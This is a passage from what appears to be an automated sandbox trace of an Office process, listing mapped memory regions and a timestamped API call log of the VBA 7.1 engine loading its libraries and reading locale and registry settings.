"\\Windows\\Fonts\\calibrii.ttf" (normalized: "c:\\windows\\fonts\\calibrii.ttf") Region: id = 971 start_va = 0xea00000 end_va = 0xea01fff entry_point = 0x0 region_type = private name = "private_0x000000000ea00000" filename = "" Region: id = 972 start_va = 0xea20000 end_va = 0xea21fff entry_point = 0x0 region_type = private name = "private_0x000000000ea20000" filename = "" Region: id = 973 start_va = 0xea40000 end_va = 0xea41fff entry_point = 0x0 region_type = private name = "private_0x000000000ea40000" filename = "" Region: id = 974 start_va = 0x7fef5210000 end_va = 0x7fef5263fff entry_point = 0x7fef5210000 region_type = mapped_file name = "msproof7.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\msproof7.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msproof7.dll") Region: id = 975 start_va = 0x7fffff72000 end_va = 0x7fffff73fff entry_point = 0x0 region_type = private name = "private_0x000007fffff72000" filename = "" Region: id = 976 start_va = 0x7fee38b0000 end_va = 0x7fee393cfff entry_point = 0x7fee38b0000 region_type = mapped_file name = "msgr8en.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1033\\MSGR8EN.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\1033\\msgr8en.dll") Region: id = 2177 start_va = 0x7fef74d0000 end_va = 0x7fef7533fff entry_point = 0x7fef74d1254 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 2178 start_va = 0x7fef7540000 end_va = 0x7fef75b0fff entry_point = 0x7fef7541010 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 2179 start_va = 0x7fefaa40000 end_va = 0x7fefaa57fff entry_point = 0x7fefaa41bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2180 start_va = 0x7fefaa60000 end_va = 0x7fefaa70fff entry_point = 0x7fefaa616ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2181 start_va = 0x7fefabe0000 end_va = 0x7fefabeafff entry_point = 0x7fefabe1198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2182 start_va = 0x7fefabf0000 end_va = 0x7fefac16fff entry_point = 0x7fefabf98bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2183 start_va = 0x7fefc4d0000 end_va = 0x7fefc4d9fff entry_point = 0x7fefc4d3cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2184 start_va = 0x7fefc870000 end_va = 0x7fefc8c4fff entry_point = 0x7fefc871054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2185 start_va = 0x27a0000 end_va = 0x27a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000027a0000" filename = "" Region: id = 2186 start_va = 0x2e30000 end_va = 0x2e3bfff entry_point = 0x2e30000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 2187 start_va = 0x30c0000 end_va = 0x30c7fff entry_point = 0x30c0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 2188 start_va = 0x30d0000 end_va = 0x30dffff entry_point = 0x30d0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 2189 start_va = 0x8a20000 end_va = 0x8d62fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008a20000" filename = "" Region: id = 2190 start_va = 0xeb70000 end_va = 0xebeffff entry_point = 0x0 region_type = private name = "private_0x000000000eb70000" filename = "" Region: id = 2191 start_va = 0x7fef2be0000 end_va = 0x7fef2c41fff entry_point = 0x7fef2be1198 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 2192 start_va = 0x7fefa430000 end_va = 0x7fefa44bfff entry_point = 0x7fefa4311a0 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 2193 start_va = 0x7fefc270000 end_va = 0x7fefc276fff entry_point = 0x7fefc2714b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2194 start_va = 0x7fefc6f0000 end_va = 0x7fefc74afff entry_point = 0x7fefc6f6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2195 start_va = 0x7fefc860000 end_va = 0x7fefc866fff entry_point = 0x7fefc86142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2196 start_va = 0x4100000 end_va = 0x4100fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004100000" filename = "" Region: id = 2197 start_va = 0xed40000 end_va = 0xee3ffff entry_point = 0x0 region_type = private name = "private_0x000000000ed40000" filename = "" Region: id = 2198 start_va = 0x7fef52f0000 end_va = 0x7fef52f8fff entry_point = 0x7fef52f0000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 2199 start_va = 0x7fefa650000 end_va = 0x7fefa660fff entry_point = 0x7fefa6514c0 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 2200 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2201 start_va = 0xed30000 end_va = 0xed3ffff entry_point = 0x0 region_type = private name = "private_0x000000000ed30000" filename = "" Region: id = 2202 start_va = 0xef20000 end_va = 0xf01ffff entry_point = 0x0 region_type = private name = "private_0x000000000ef20000" filename = "" Region: id = 2203 start_va = 0x7fef5300000 end_va = 0x7fef5307fff entry_point = 0x7fef5301414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2204 start_va = 0x7fefb300000 end_va = 0x7fefb314fff entry_point = 0x7fefb3012a0 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 2205 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2206 start_va = 0x7fefb2e0000 end_va = 0x7fefb2f8fff entry_point = 0x7fefb2e177c region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 2207 start_va = 0x7fefb2d0000 end_va = 0x7fefb2dafff entry_point = 0x7fefb2d12e0 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 2208 start_va = 0xf110000 end_va = 0xf18ffff entry_point = 0x0 region_type = private name = "private_0x000000000f110000" filename = "" Region: id = 2209 start_va = 0x7fefaa90000 end_va = 0x7fefaae2fff entry_point = 0x7fefaa92b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 2210 start_va = 0x7fefc660000 end_va = 0x7fefc6b6fff entry_point = 0x7fefc660000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 2213 start_va = 0x4110000 end_va = 0x4111fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004110000" filename = "" Region: id = 2214 start_va = 0x7fefca70000 end_va = 0x7fefcabdfff entry_point = 0x7fefca70000 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 2215 start_va = 0xf1f0000 end_va = 0xf2effff entry_point = 0x0 region_type = private name = "private_0x000000000f1f0000" filename = "" Region: id = 2216 start_va = 0x7fefc360000 end_va = 0x7fefc37afff entry_point = 0x7fefc362068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2217 start_va = 0x7fffff7c000 end_va = 0x7fffff7dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7c000" filename = "" Region: id = 2218 start_va = 0x7fef4840000 end_va = 0x7fef495efff entry_point = 0x7fef4840000 region_type = mapped_file name = "webservices.dll" filename = "\\Windows\\System32\\webservices.dll" (normalized: "c:\\windows\\system32\\webservices.dll") Region: id = 2253 start_va = 0xf300000 end_va = 0xf3fffff entry_point = 0x0 region_type = private name = "private_0x000000000f300000" filename = "" Thread: id = 1 os_tid = 0xa58 Thread: id = 2 os_tid = 0xa54 Thread: id = 3 os_tid = 0xa50 Thread: id = 4 os_tid = 0xa48 Thread: id = 5 os_tid = 0xa38 Thread: id = 6 os_tid = 0xa34 Thread: id = 7 os_tid = 0xa10 Thread: id = 8 os_tid = 0x9ec Thread: id = 9 os_tid = 0x9e8 Thread: id = 10 os_tid = 0x9e0 Thread: id = 11 os_tid = 0x9dc Thread: id = 12 os_tid = 0x9d8 [0017.743] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0017.743] SetCursor (hCursor=0x10007) returned 0x10007 [0017.743] _set_invalid_parameter_handler (_Handler=0x7fef0cc10c8) returned 0x0 [0017.743] wcscpy_s (in: _Destination=0x75c9868, _SizeInWords=0xb, _Source="7.1\\" | out: _Destination="7.1\\") returned 0x0 [0017.744] GetACP () returned 0x4e4 [0017.825] GetModuleHandleExA (in: dwFlags=0x0, lpModuleName=0x7fef1068f60, phModule=0x7fef108f848 | out: phModule=0x7fef108f848*=0x7fef8cd0000) returned 1 [0017.862] GetProcAddress (hModule=0x7fef8cd0000, lpProcName="MsiProvideQualifiedComponentA") returned 0x7fef8d53b3c [0017.863] GetProcAddress (hModule=0x7fef8cd0000, lpProcName="MsiGetProductCodeA") returned 0x7fef8d4a13c [0017.863] GetProcAddress (hModule=0x7fef8cd0000, lpProcName="MsiReinstallFeatureA") returned 0x7fef8d51618 [0017.863] GetProcAddress (hModule=0x7fef8cd0000, lpProcName="MsiProvideComponentA") returned 0x7fef8d4f088 [0017.910] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x43 [0017.910] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x43 [0017.911] lstrcpyW (in: lpString1=0x307820, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" [0017.911] GetModuleHandleA (lpModuleName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x0 [0017.941] LoadLibraryExA (lpLibFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL", hFile=0x0, dwFlags=0x8) returned 0x7fee3590000 [0017.972] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10012ac70000014d) returned 1 [0017.974] RegisterClipboardFormatA (lpszFormat="VBM_FHwndIsHctl") returned 0xc19b [0017.974] lstrlenA (lpString="") returned 0 [0017.974] lstrcpyA (in: lpString1=0xa242630, lpString2="" | out: lpString1="") returned="" [0017.974] GetEnvironmentVariableA (in: lpName="DDRYBUR", lpBuffer=0x307800, nSize=0x118 | out: lpBuffer="¯\x01") returned 0x0 [0017.974] SetErrorMode (uMode=0x8001) returned 0x8001 [0017.974] GetModuleFileNameA (in: hModule=0x7fef0cc0000, lpFilename=0x307510, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0017.974] lstrcpyA (in: lpString1=0x307400, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0017.974] lstrcpyA (in: lpString1=0x307400, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0017.974] lstrcpyA (in: lpString1=0x307400, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0017.974] lstrcpyA (in: lpString1=0x307400, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0017.974] lstrcpyA (in: lpString1=0x307400, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0017.974] lstrcpyA (in: lpString1=0x307400, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0017.974] strcpy_s (in: _Dst=0x307620, _DstSize=0x200, _Src="VBE7INTL.DLL" | out: _Dst="VBE7INTL.DLL") returned 0x0 [0017.974] _ultoa_s (in: _Val=0x409, _DstBuf=0x307180, _Size=0x6, _Radix=10 | out: _DstBuf="1033") returned 0x0 [0017.974] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\", _SizeInBytes=0x104, _Source="1033" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033") returned 0x0 [0017.974] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033", _SizeInBytes=0x104, _Source="\\" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\") returned 0x0 [0017.974] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\", _SizeInBytes=0x104, _Source="VBE7INTL.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 0x0 [0017.974] lstrlenA (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 75 [0017.974] CharToOemBuffA (in: lpszSrc="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL", lpszDst=0x307030, cchDstLength=0x4c | out: lpszDst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 1 [0017.974] _access_s (_FileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL", _AccessMode=0) returned 0x0 [0017.975] strcpy_s (in: _Dst=0x3072b0, _DstSize=0x104, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 0x0 [0017.976] GetSystemDefaultLCID () returned 0x409 [0017.976] GetUserDefaultLCID () returned 0x409 [0017.976] GetLocaleInfoA (in: Locale=0x400, LCType=0xe, lpLCData=0x307940, cchData=2 | out: lpLCData=".") returned 2 [0017.976] GetStockObject (i=13) returned 0x18a002e [0017.976] GetObjectA (in: h=0x18a002e, c=60, pv=0x3078e0 | out: pv=0x3078e0) returned 60 [0017.976] lstrcpyA (in: lpString1=0x7fef1090150, lpString2="Vbui6.chm" | out: lpString1="Vbui6.chm") returned="Vbui6.chm" [0017.976] lstrcpyA (in: lpString1=0x7fef1091470, lpString2="VbLR6.chm" | out: lpString1="VbLR6.chm") returned="VbLR6.chm" [0017.976] lstrlenA (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 66 [0017.976] lstrcpyA (in: lpString1=0xa10c4e0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" [0017.977] GetVersionExA (in: lpVersionInformation=0x307870*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x43, szCSDVersion="") | out: lpVersionInformation=0x307870*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0017.977] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="Licenses", phkResult=0x307798 | out: phkResult=0x307798*=0x98a) returned 0x0 [0017.977] strcpy_s (in: _Dst=0x3077a0, _DstSize=0x80, _Src="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Dst="8804558B-B773-11d1-BC3E-0000F87552E7") returned 0x0 [0017.977] strcpy_s (in: _Dst=0x307820, _DstSize=0xc8, _Src="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Dst="8804558B-B773-11d1-BC3E-0000F87552E7") returned 0x0 [0017.977] _strrev (in: _Str="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Str="7E25578F0000-E3CB-1d11-377B-B8554088") returned="7E25578F0000-E3CB-1d11-377B-B8554088" [0017.977] RegQueryValueA (in: hKey=0x98a, lpSubKey="8804558B-B773-11d1-BC3E-0000F87552E7", lpData=0x307820, lpcbData=0x307790 | out: lpData="\x0f}\x02\x01", lpcbData=0x307790) returned 0x2 [0017.977] RegCloseKey (hKey=0x98a) returned 0x0 [0017.977] OleInitialize (pvReserved=0x0) returned 0x1 [0017.978] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0017.978] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0017.978] GetClassInfoA (in: hInstance=0x7fef0cc0000, lpClassName="VBBubble", lpWndClass=0x3078d0 | out: lpWndClass=0x3078d0) returned 0 [0017.978] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Count") returned 0x107630 [0017.978] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_Default") returned 0x10c26a [0017.978] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Item") returned 0x107ad7 [0017.978] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Add") returned 0x1072f7 [0017.978] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Remove") returned 0x10b1cf [0017.978] GlobalAddAtomA (lpString="VBDisabled") returned 0xf5c0304c125 [0017.978] RegisterClassExA (param_1=0x3079f0) returned 0xf5f00d2c19d [0017.978] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10012ac700000151) returned 1 [0017.979] GetVersionExA (in: lpVersionInformation=0x3077e0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x3077e0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0017.985] GetModuleHandleA (lpModuleName="USER32") returned 0x76e70000 [0017.986] GetProcAddress (hModule=0x76e70000, lpProcName="GetSystemMetrics") returned 0x76e894f0 [0017.986] GetProcAddress (hModule=0x76e70000, lpProcName="MonitorFromWindow") returned 0x76e85f08 [0017.987] GetProcAddress (hModule=0x76e70000, lpProcName="MonitorFromRect") returned 0x76e82b00 [0017.987] GetProcAddress (hModule=0x76e70000, lpProcName="MonitorFromPoint") returned 0x76e7ab64 [0017.987] GetProcAddress (hModule=0x76e70000, lpProcName="EnumDisplayMonitors") returned 0x76e85c30 [0017.987] GetProcAddress (hModule=0x76e70000, lpProcName="GetMonitorInfoA") returned 0x76e7a730 [0017.988] GetProcAddress (hModule=0x76e70000, lpProcName="EnumDisplayDevicesA") returned 0x76e7a5b4 [0017.988] MonitorFromWindow (hwnd=0x301b8, dwFlags=0x2) returned 0x10001 [0017.988] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x3079f0 | out: lpmi=0x3079f0) returned 1 [0017.988] SetWindowPos (hWnd=0x301b8, hWndInsertAfter=0x0, X=720, Y=450, cx=0, cy=0, uFlags=0x1d) returned 1 [0017.988] GetWindowThreadProcessId (in: hWnd=0x301b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0017.988] GetVersion () returned 0x1db10106 [0017.988] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x7feff1c0000 [0017.988] GetProcAddress (hModule=0x7feff1c0000, lpProcName="DispCallFunc") returned 0x7feff1c2270 [0017.989] GetProcAddress (hModule=0x7feff1c0000, lpProcName="LoadTypeLibEx") returned 0x7feff1ca550 [0017.989] GetProcAddress (hModule=0x7feff1c0000, lpProcName="UnRegisterTypeLib") returned 0x7feff2520d0 [0017.989] GetProcAddress (hModule=0x7feff1c0000, lpProcName="CreateTypeLib2") returned 0x7feff24dbd0 [0017.990] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarDateFromUdate") returned 0x7feff1c5c90 [0017.990] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarUdateFromDate") returned 0x7feff1c6330 [0017.990] GetProcAddress (hModule=0x7feff1c0000, lpProcName="GetAltMonthNames") returned 0x7feff1e66c0 [0017.990] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarNumFromParseNum") returned 0x7feff1c4710 [0017.991] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarParseNumFromStr") returned 0x7feff1c48f0 [0017.991] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarDecFromR4") returned 0x7feff1fb640 [0017.991] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarDecFromR8") returned 0x7feff1fb360 [0017.991] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarDecFromDate") returned 0x7feff202640 [0017.992] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarDecFromI4") returned 0x7feff1e58a0 [0017.992] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarDecFromCy") returned 0x7feff1e5820 [0017.992] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarR4FromDec") returned 0x7feff1faf20 [0017.992] GetProcAddress (hModule=0x7feff1c0000, lpProcName="GetRecordInfoFromTypeInfo") returned 0x7feff21a0c0 [0017.993] GetProcAddress (hModule=0x7feff1c0000, lpProcName="GetRecordInfoFromGuids") returned 0x7feff252160 [0017.993] GetProcAddress (hModule=0x7feff1c0000, lpProcName="SafeArrayGetRecordInfo") returned 0x7feff1e5af0 [0017.993] GetProcAddress (hModule=0x7feff1c0000, lpProcName="SafeArraySetRecordInfo") returned 0x7feff1e5a90 [0017.993] GetProcAddress (hModule=0x7feff1c0000, lpProcName="SafeArrayGetIID") returned 0x7feff1e5a60 [0017.994] GetProcAddress (hModule=0x7feff1c0000, lpProcName="SafeArraySetIID") returned 0x7feff1e5a30 [0017.994] GetProcAddress (hModule=0x7feff1c0000, lpProcName="SafeArrayCopyData") returned 0x7feff1c60b0 [0017.994] GetProcAddress (hModule=0x7feff1c0000, lpProcName="SafeArrayAllocDescriptorEx") returned 0x7feff1c3e90 [0017.994] GetProcAddress (hModule=0x7feff1c0000, lpProcName="SafeArrayCreateEx") returned 0x7feff219f80 [0017.995] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarFormat") returned 0x7feff249b20 [0017.995] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarFormatDateTime") returned 0x7feff249aa0 [0017.995] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarFormatNumber") returned 0x7feff249990 [0017.995] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarFormatPercent") returned 0x7feff249890 [0017.996] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarFormatCurrency") returned 0x7feff249770 [0017.996] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarWeekdayName") returned 0x7feff22b8d0 [0017.996] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarMonthName") returned 0x7feff22b800 [0017.996] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarAdd") returned 0x7feff2448e0 [0017.997] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarAnd") returned 0x7feff249470 [0017.997] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarCat") returned 0x7feff2496a0 [0017.997] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarDiv") returned 0x7feff242fe0 [0017.998] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarEqv") returned 0x7feff249cf0 [0017.998] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarIdiv") returned 0x7feff248ff0 [0017.998] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarImp") returned 0x7feff249c00 [0017.998] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarMod") returned 0x7feff248e60 [0017.999] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarMul") returned 0x7feff243690 [0017.999] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarOr") returned 0x7feff2492d0 [0017.999] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarPow") returned 0x7feff242e80 [0017.999] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarSub") returned 0x7feff243f90 [0018.000] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarXor") returned 0x7feff2491a0 [0018.000] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarAbs") returned 0x7feff227c30 [0018.000] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarFix") returned 0x7feff227a60 [0018.000] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarInt") returned 0x7feff227890 [0018.001] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarNeg") returned 0x7feff227ea0 [0018.001] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarNot") returned 0x7feff249600 [0018.001] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarRound") returned 0x7feff2276a0 [0018.001] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarCmp") returned 0x7feff2483f0 [0018.002] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarDecAdd") returned 0x7feff1f3070 [0018.002] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarDecCmp") returned 0x7feff1fd700 [0018.002] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarBstrCat") returned 0x7feff1fd890 [0018.002] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarCyMulI4") returned 0x7feff1dcaf0 [0018.003] GetProcAddress (hModule=0x7feff1c0000, lpProcName="VarBstrCmp") returned 0x7feff1e8a00 [0018.003] GetModuleHandleA (lpModuleName="ole32.dll") 